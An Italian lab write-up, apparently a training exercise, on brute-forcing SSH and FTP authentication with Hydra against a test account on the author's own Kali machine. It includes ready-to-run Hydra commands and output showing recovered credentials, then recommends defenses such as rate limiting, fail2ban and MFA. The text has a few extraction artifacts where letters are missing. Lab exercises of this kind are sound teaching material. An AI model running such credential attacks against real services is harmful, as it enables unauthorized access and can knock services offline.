Authentication Cracking con Hydra

Obiettivi

Gli obiettivi dell'esercitazione sono:

- Familiarizzare con il tool **Hydra** per craccare l'autenticazione dei servizi di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro con gurazione

L'esercizio si sviluppa in due fasi:

- Una prima fase di abilitazione di un servizio SSH e relativa sessione di cracking dell'autenticazione con Hydra
- Una seconda fase di con gurazione e cracking di un servizio di rete (FTP, RDP, Telnet, HTTP)

Metodologia

La metodologia applicata prevede i seguenti step:

1. Creazione di un utente di test `test_user` su Kali Linux, usando il comando `ssh test_user@192.168.10.10`
2. Lancio di tentativi di autenticazione con Hydra utilizzando:
   - Wordlist grandi prese da Seclists
   - Wordlist ridotte create manualmente (`xato_usernames.txt` e `xato_passwords.txt`)
3. Ripetizione dello stesso test su servizio FTP per confronto

---

Prima Fase: SSH Cracking

Installazione e Configurazione Iniziale

Dopo aver creato l'utente test su Kali Linux, si è proceduto con l'installazione del package `seclists`:

```
┌──(kali㉿kali)-[~]
└─$ sudo  apt install seclists
Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1586
  Download size: 545 MB
  Space needed: 1,935 MB / 50.3 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.3-0kali1 [545 MB]
Fetched 545 MB in 52s (10.6 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 422147 files and directories currently installed.)
Preparing to unpack .../seclists_2025.3-0kali1_all.deb ...
Unpacking seclists (2025.3-0kali1) ...
Setting up seclists (2025.3-0kali1) ...
Processing triggers for kali-menu (2025.3.2) ...
Processing triggers for wordlists (2023.2.0) ...
```

(Installazione di seclists sulla macchina Kali)

Caso 1: Test con Wordlist Grande

Lanciando il comando con wordlist di grandi dimensioni si genera un **problema critico**: il servizio SSH si sovraccarica e produce errori.

Analisi del Problema:
L'uso generatantissime righe da scansionare causa l'**overload del servizio SSH**, che smette di funzionare.

Conseguenze osservate:

- La scansione diventa molto lenta
- I log registrano migliaia di tentativi falliti
- Il sistema diventa instabile

Ripristino del servizio:

sudo service ssh restart

Dopo il riavvio, il servizio è pulito e pronto per un nuovo utilizzo.

Caso 2: Approccio Controllato

La soluzione ottimale è creare manualmente liste ridotte di username e password ed eseguire il comando:

hydra -L /home/kali/xato.usernames.txt -P /home/kali/xato-passwords.txt 192.168.10.10 -t2 ssh -f

Questo approccio permette di:

- Completare il test senza danneggiare il servizio
- Osservare i meccanismi di login in modo controllato
- Evitare sovraccarichi inutili riducendo il valore di -t
- Ottenere risultati a dabili e ripetibili

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/xato-usernames.txt -P /home/kali/xato-passwords.txt 192.168.10.10 -t 2 ssh -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 14:46:44
[DATA] max 2 tasks per 1 server, overall 2 tasks, 110 login tries (l:11/p:10), ~55 tries per task
[DATA] attacking ssh://192.168.10.10:22/

[STATUS] 39.00 tries/min, 39 tries in 00:01h, 71 to do in 00:02h, 2 active
[22][ssh] host: 192.168.10.10   login: test_user   password: testpass
[STATUS] attack finished for 192.168.10.10 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 14:48:15
```

(Attacco SSH riuscito con wordlist controllate)

Seconda Fase: FTP Cracking

Nella seconda fase si procede con la con gurazione del servizio FTP per eseguire un test analogo:

sudo apt install vsftpd

Procedura di Test

Si aprono due terminali con ruoli distinti:

- **Terminale 1** (utente kali): esegue l'attacco Hydra
- **Terminale 2** (utente test_user): gestisce la connessione FTP

Sul terminale di test_user:

1. Lanciare il servizio FTP con l'IP della Kali: ftp 192.168.10.10
2. Osservare la connessione all'indirizzo IP
3. Eseguire il login con le credenziali disponibili
4. Stabilire la sessione FTP

Sul terminale kali:

Lanciare il comando di attacco FTP:

```
hydra -L /home/kali/xato.usernames.txt -P /home/kali/xato-passwords.txt 192.168.10.10 -t2 ftp -f
```

Il comando procede con la scansione e, se con gurato correttamente, estrae le credenziali di login.

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/xato-usernames.txt -P /home/kali/xato-passwords.txt 192.168.10.10 -t 2 ftp -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 14:50:29
[DATA] max 2 tasks per 1 server, overall 2 tasks, 110 login tries (l:11/p:10), ~55 tries per task
[DATA] attacking ftp://192.168.10.10:21/
[STATUS] 38.00 tries/min, 38 tries in 00:01h, 72 to do in 00:02h, 2 active
[21][ftp] host: 192.168.10.10   login: test_user   password: testpass
[STATUS] attack finished for 192.168.10.10 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 14:52:02
```

(Attacco FTP riuscito e credenziali estratte)

Conclusioni

L'esperimento dimostra che **non è soltanto la forza delle password a contare**, ma anche come e con quale ritmo vengono provati gli attacchi.

Punti chiave:

- Lanciare grosse wordlist in poco tempo può far cadere il servizio prima ancora che si trovi una credenziale valida
- L'attacco diventa sia una prova di forza sia un problema di disponibilità (DoS)
- Difendersi richiede una combinazione equilibrata di interventi

Strategie di difesa comprehensive:

- Imporre password robuste e complesse
- Limitare il ritmo degli accessi (rate limiting)
- Isolare i servizi di rete da segmenti critici

- Monitorare attivamente i log di sistema
- Implementare strumenti come fail2ban
- Utilizzare autenticazione multi-fattore (MFA)
- Disabilitare il login root e utilizzare account con privilegi limitati

La **combinazione strategica di questi interventi** riduce davvero il rischio di compromissione attraverso attacchi di forza bruta, creando un ambiente di sicurezza resiliente.